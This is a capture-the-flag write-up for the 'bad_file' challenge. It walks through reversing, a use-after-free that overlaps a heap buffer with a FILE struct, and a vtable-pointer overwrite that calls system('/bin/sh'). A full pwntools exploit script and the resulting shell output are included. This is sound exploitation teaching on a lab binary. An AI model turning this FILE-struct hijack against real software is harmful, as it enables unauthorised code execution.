bad_file
This writeup goes out to my friend and the person who made this challenge, the man, the myth, the legend himself, noopnoop.
Let's take a look at the binary and libc file:
$ file bad_file
bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped
$ pwn checksec bad_file
[*] '/Hackery/pod/modules/fs_exploitation/swamp19_badfile/bad_file'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./libc6.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ file bad_file
bad_file: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=2f17700ec82063187dc67e7ac0f76345fbbd3c20, not stripped
$ pwn checksec bad_file
[*] '/Hackery/swamp/bad_file/bad_file'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./bad_file
Would you like a (1) temporary name or a (2) permanent name?
1
15935728
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
75395128
Now let's send some magic to the void!!
Segmentation fault (core dumped)
$ ./bad_file
Would you like a (1) temporary name or a (2) permanent name?
1
15935728
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
75395128
Now let's send some magic to the void!!
[;9B
I hope the spell worked!
So we can see that we are dealing with a 64 bit binary without RELRO or PIE. When we run the binary it prompts us for several inputs before crashing.
Reversing
When we take a look at the Ghidra disassembly, we see this:
void main(void)
{
void *ptr;
FILE *stream;
char input0 [16];
char input1 [40];
ptr = malloc(0x250);
setbuf(stdout,(char *)0x0);
puts("Would you like a (1) temporary name or a (2) permanent name?");
read(0,input0,2);
if (input0[0] == '1') {
temp_name(ptr);
}
else {
perm_name(ptr);
}
stream = fopen("/dev/null","rw");
puts("I created a void for you, and this can let you practice some sorcery");
puts("You\'re in danger, you\'ll need a new name.");
read(0,ptr,0x160);
puts("Now let\'s send some magic to the void!!");
fread(input1,1,8,stream);
puts(input1);
puts("I hope the spell worked!");
/* WARNING: Subroutine does not return */
exit(0);
}
So we see it starts off my allocating the 0x250
byte chunk ptr
with malloc. Proceeding that it prompts us for input. If we input a 1
it runs the temp_name
function with the argument ptr
. If we input anything else it runs perm_name
with the argument ptr
. After that it opens up the file /dev/null
. Proceeding that we are able to scan 0x160
bytes into the space pointed to by ptr
. After that it scans in 8 bytes of data from the file object which should be /dev/null
into the char buffer input1
. Following that it prints the contents of input1
. Let's take a look at the perm_name
and temp_name
functions:
void temp_name(char *input)
{
gets(input);
printf("Hello, %s (for now)\n",input);
free(input);
return;
}
void perm_name(char *input)
{
gets(input);
printf("Hello, %s!\n");
return;
}
These functions are pretty similar. They both scan in input to the heap pointer ptr
with gets
(which will allow us to overflow it), and then prints the contents of ptr
. The difference is temp_name
frees the heap pointer after printing it's contents, which we can then scan data into later. This is a use after free bug.
Exploiting
So we have a heap overflow bug with gets, and a use after free. For the heap overflow bug I initially wanted to see if I could overflow the buffer right up to an address and then leak it with the printf call. However there was one problem with that:
gef➤ x/80g 0x602010
0x602010: 0x0 0x0
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
0x6020b0: 0x0 0x0
0x6020c0: 0x0 0x0
0x6020d0: 0x0 0x0
0x6020e0: 0x0 0x0
0x6020f0: 0x0 0x0
0x602100: 0x0 0x0
0x602110: 0x0 0x0
0x602120: 0x0 0x0
0x602130: 0x0 0x0
0x602140: 0x0 0x0
0x602150: 0x0 0x0
0x602160: 0x0 0x0
0x602170: 0x0 0x0
0x602180: 0x0 0x0
0x602190: 0x0 0x0
0x6021a0: 0x0 0x0
0x6021b0: 0x0 0x0
0x6021c0: 0x0 0x0
0x6021d0: 0x0 0x0
0x6021e0: 0x0 0x0
0x6021f0: 0x0 0x0
0x602200: 0x0 0x0
0x602210: 0x0 0x0
0x602220: 0x0 0x0
0x602230: 0x0 0x0
0x602240: 0x0 0x0
0x602250: 0x0 0x0
0x602260: 0x0 0x20da1
Here is a look at the memory region of ptr
which points to 0x602010
(and a bit past where it ends). The issue is other than the top chunk (0x20da1
specifies how much space is left unallocated in the heap) there is nothing but zeroes in are of the heap our overflow can reach. That coupled with the fact the only thing left that happens to the heap in terms of allocating/freeing memory is a single free to ptr
, we can't use this bug for anything other than a DOS.
So that just leaves us with the use after free. However when we look into that, we see something interesting:
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde00│+0x0000: 0x0000000000602010 → 0x00007ffffbad2488 ← $rsp
0x00007fffffffde08│+0x0008: 0x0000000000000000
0x00007fffffffde10│+0x0010: 0x0000000000000a31 ("1"?)
0x00007fffffffde18│+0x0018: 0x0000000000400a0d → <__libc_csu_init+77> add rbx, 0x1
0x00007fffffffde20│+0x0020: 0x0000000000000000
0x00007fffffffde28│+0x0028: 0x0000000000000000
0x00007fffffffde30│+0x0030: 0x00000000004009c0 → <__libc_csu_init+0> push r15
0x00007fffffffde38│+0x0038: 0x0000000000400740 → <_start+0> xor ebp, ebp
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400938 <main+123> mov esi, 0x400ab5
0x40093d <main+128> mov edi, 0x400ab8
0x400942 <main+133> call 0x400710 <fopen@plt>
→ 0x400947 <main+138> mov QWORD PTR [rbp-0x48], rax
0x40094b <main+142> mov edi, 0x400ac8
0x400950 <main+147> call 0x400680 <puts@plt>
0x400955 <main+152> mov edi, 0x400b10
0x40095a <main+157> call 0x400680 <puts@plt>
0x40095f <main+162> mov rax, QWORD PTR [rbp-0x50]
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400947 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ p $rax
$1 = 0x602010
gef➤ x/x $rax
0x602010: 0xfbad2488
We can see that the fopen
call returns the heap pointer 0x602010
, which is where it stores information regarding the file. We can see with the read
call (or really anywhere in the main function), that it overlaps directly with ptr
:
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400963 <main+166> mov edx, 0x160
0x400968 <main+171> mov rsi, rax
0x40096b <main+174> mov edi, 0x0
→ 0x400970 <main+179> call 0x4006d0 <read@plt>
↳ 0x4006d0 <read@plt+0> jmp QWORD PTR [rip+0x200972] # 0x601048
0x4006d6 <read@plt+6> push 0x6
0x4006db <read@plt+11> jmp 0x400660
0x4006e0 <__libc_start_main@plt+0> jmp QWORD PTR [rip+0x20096a] # 0x601050
0x4006e6 <__libc_start_main@plt+6> push 0x7
0x4006eb <__libc_start_main@plt+11> jmp 0x400660
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
read@plt (
$rdi = 0x0000000000000000,
$rsi = 0x0000000000602010 → 0x00007ffffbad2488,
$rdx = 0x0000000000000160,
$rcx = 0x00007ffff7b042c0 → <__write_nocancel+7> cmp rax, 0xfffffffffffff001
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400970 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/x $rbp-0x50
0x7fffffffde00: 0x00602010
Here we can see both where ptr
belongs in the stack, and the argument for the read call is 0x602010
which is the same pointer for the file struct. This happened because malloc will reuse previously freed memory chunks for performance reasons (if the memory sizes are correct, which in this case they are). As a result we can directly overwrite the file struct.
This is my first time dealing with a file struct exploit. At first I tried reversing the fopen
and fread
functions to figure out if there was a way I could somehow change which file it would read from (or really change anything that would benefit us). After a bit I tried changing various of the file struct, which is when I found something interesting. Here is the file struct after it has been allocated:
gef➤ x/44g $rax
0x602010: 0x00007ffffbad2488 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x00007ffff7dd2540
0x602080: 0x0000000000000003 0x0000000000000000
0x602090: 0x0000000000000000 0x00000000006020f0
0x6020a0: 0xffffffffffffffff 0x0000000000000000
0x6020b0: 0x0000000000602100 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x00007ffff7dd06e0
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
Here is everything we can reach with out overflow (0x160 / 8 = 44
). When fread
is called, there is a function _IO_sgetn
that is called on our input:
gef➤ disas _IO_sgetn
Dump of assembler code for function __GI__IO_sgetn:
0x00007ffff7a88700 <+0>: mov rax,QWORD PTR [rdi+0xd8]
0x00007ffff7a88707 <+7>: mov rax,QWORD PTR [rax+0x40]
0x00007ffff7a8870b <+11>: jmp rax
End of assembler dump.
In this case the register rdi
holds a pointer to the file struct. Here it dereferences rdi+0xd8
(which in our case would be the value stored at 0x6020e8
which is 0x00007ffff7dd06e0
). Then the instruction pointer stored at that address +0x40
is then moved into the rax
register, and then executed via a jump (in our case 0x00007ffff7dd06e0 + 0x40 = 0x7ffff7dd0720
). We can see that the function which should be executed is _IO_file_jumps
:
gef➤ x/i 0x00007ffff7dd06e0
0x7ffff7dd06e0 <_IO_file_jumps>: add BYTE PTR [rax],al
So we can see that we can overwrite a pointer which is dereferenced to get an instruction pointer, and then executed. We will use this to get code execution. However the pointer is at offset 0xd8
, so we have to overwrite several different pointers which could cause issues. To figure this out I just overwrote the values of pointers one by one to see if they would cause us issues. Turns out only one of them do cause issues, and it's nothing major. It's the pointer stored at offset 0xa0
(it's 0x602100
at 0x6020b0
):
───────────────────────────────────────────────────────────────────── stack ────
0x00007fff456d8010│+0x0000: 0x0000000000400b40 → "Now let's send some magic to the void!!" ← $rsp
0x00007fff456d8018│+0x0008: 0x0000000000000000
0x00007fff456d8020│+0x0010: 0x00007fff456d8090 → 0x00000000004009c0 → <__libc_csu_init+0> push r15
0x00007fff456d8028│+0x0018: 0x0000000000400740 → <_start+0> xor ebp, ebp
0x00007fff456d8030│+0x0020: 0x00007fff456d8170 → 0x0000000000000001
0x00007fff456d8038│+0x0028: 0x000000000040099c → <main+223> lea rax, [rbp-0x30]
0x00007fff456d8040│+0x0030: 0x0000000000704010 → 0x0068732f6e69622f ("/bin/sh"?)
0x00007fff456d8048│+0x0038: 0x0000000000704010 → 0x0068732f6e69622f ("/bin/sh"?)
─────────────────────────────────────────────────────────────── code:x86:64 ────
0x7fc49f4fc4b0 <fread+80> lock cmpxchg DWORD PTR [r8], esi
0x7fc49f4fc4b5 <fread+85> jne 0x7fc49f4fc4bf <fread+95>
0x7fc49f4fc4b7 <fread+87> jmp 0x7fc49f4fc4d5 <fread+117>
→ 0x7fc49f4fc4b9 <fread+89> cmpxchg DWORD PTR [r8], esi
0x7fc49f4fc4bd <fread+93> je 0x7fc49f4fc4d5 <fread+117>
0x7fc49f4fc4bf <fread+95> lea rdi, [r8]
0x7fc49f4fc4c2 <fread+98> sub rsp, 0x80
0x7fc49f4fc4c9 <fread+105> call 0x7fc49f589c50
0x7fc49f4fc4ce <fread+110> add rsp, 0x80
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "bad_file", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fc49f4fc4b9 → fread()
[#1] 0x40099c → main()
────────────────────────────────────────────────────────────────────────────────
gef➤ p $r8
$1 = 0x400000
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/swamp/bad_file/bad_file
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /Hackery/swamp/bad_file/bad_file
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/swamp/bad_file/bad_file
. . .
Here we can see that the value we overwrote at offset 0xa0
to be 0x400000
is causing a crash (the reason why it is an address, is because earlier that value is dereferenced, so if it isn't an address it would cause a crash). Here it is running the cmpxchg
instruction which compares the two operands, and if they aren't equal the contents of the second argument are moved into the first. The issue here is that the memory region 0x400000
is in is not writeable, so it crashes when it tries to write to it. To solve this I just looked through the memory region starting at 0x601000
for an eight byte segment that was equal to 0x0
(since without our hacking that's what the value is). Since there isn't pie
I know the address before the binary runs, and since the region is writeable I can write to it no problem.
So with that, it just leaves us with our final problem. What value will we overwrite the pointer to an instruction pointer with to get code execution. There is a hidden_alleyway
function which would print the flag, however due to the lack of infoleaks I couldn't find a way to get a pointer to it's address. Luckily for us the GOT table has system in it. So to get a shell I just overwrote the pointer at offset 0xd8
with the got address of system - 0x40
(we need the -0x40
to counter the +0x40
). Then when it dereferences that pointer, and jumps to an instruction pointer it will call system.
The last thing we need is to pass the argument /bin/sh
to the function system
(which takes a char pointer as an argument). Luckily for us the first argument is passed in the rdi
register, which at the time of the jump is a pointer to the freed heapPtr
(and due to the overlap, stream
too). So we just have to set the first eight bytes of our input equal to /bin/sh\x00
(we need the null byte in there to separate it from the rest of the input) to pass the argument /bin/sh
to system.
Exploit Code
With all of this, we can write the exploit (ran on Ubuntu 16.04):
from pwn import *
# Establish the target
target = process('./bad_file', env={"LD_PRELOAD":"./libc6.so"})
#gdb.attach(target)
# Get through the initial prompt and temp_name functions
# Make sure to go the UAF route
target.sendline("1")
target.sendline("15935728")
# Make the payload
payload = "/bin/sh\x00"
payload += "0"*0x80
payload += p64(0x6010b0)
payload += "1"*0x48
payload += p64(0x601038 - 0x40)
# Wait for it to prompt us for a new name
print target.recvuntil("new name.")
# Send the exploit
target.send(payload)
# Drop to an interactive shell to use the shell
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './bad_file': pid 3242
Would you like a (1) temporary name or a (2) permanent name?
Hello, 15935728 (for now)
I created a void for you, and this can let you practice some sorcery
You're in danger, you'll need a new name.
[*] Switching to interactive mode
Now let's send some magic to the void!!
$ w
17:38:08 up 18 min, 1 user, load average: 0.10, 0.03, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu tty7 :0 17:19 18:39 3.12s 0.15s /sbin/upstart --user
$ ls
bad_file core exploit.py libc6.so readme.md
Just like that we captured the flag!